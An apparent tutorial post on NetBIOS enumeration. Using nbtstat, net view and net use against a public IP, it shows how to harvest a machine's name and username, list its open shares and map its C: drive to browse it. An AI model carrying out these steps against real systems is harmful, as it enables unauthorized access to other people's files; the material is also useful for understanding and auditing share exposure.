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NetBIOS stands for "Network Basic Input Output System".

By default it runs on port 139.
NetBIOS gives the various information of the computers on a network, which includes computer name, username, domain, group, and many others.....!

The NBTSTAT Command :-
NBTSTAT is the command for manually interact with NetBIOS Over TCP/IP.
All the attributes (switches) used with nbtstat command and their usage can be viewed.
At the command prompt type-

Sample NBTSTAT Response :-

C:\>nbtstat -A 117.200.160.174

NetBIOS Remote Machine Name Table

Name		Type	Status
----------------------------------------------
PRASANNA	<00>	UNIQUE	Registered
INSECURE LABS	<00>	GROUP	Registered
PRASANNA	<03>	UNIQUE	Registered
PRASANNA	<20>	UNIQUE	Registered
INSECURE LABS	<1e>	GROUP	Registered

MAC Address = 86-95-55-50-00-00

An intruder could use the output from an nbtstat against your machines to begin gathering information about them.

"<03> in above table is nothing but the username of that system."

The next step for an intruder would be to try and list the open shares on the given computer, using the net view command.
Here is an example of the Net View command-

C:\>net view \\117.200.160.174
Shared resources at \\117.200.160.174

Sharename	Type	Comment
----------------------------------------
C	Disk	Drive C:\
MySofts	Disk	My Softwares Collection
E	Disk	Drive E:\

The command was completed successfully.

This information would give the intruder a list of shares which he would then use in conjunction with the Net Use command, a command used to enable a computer to map a share to it’s local drive, below is an example of how an intruder would map the C Share to a local G: drive, which he could then browse...!

C:\>net use G: \\117.200.160.174\C
The command was completed successfully.

C:\>G:

G:\>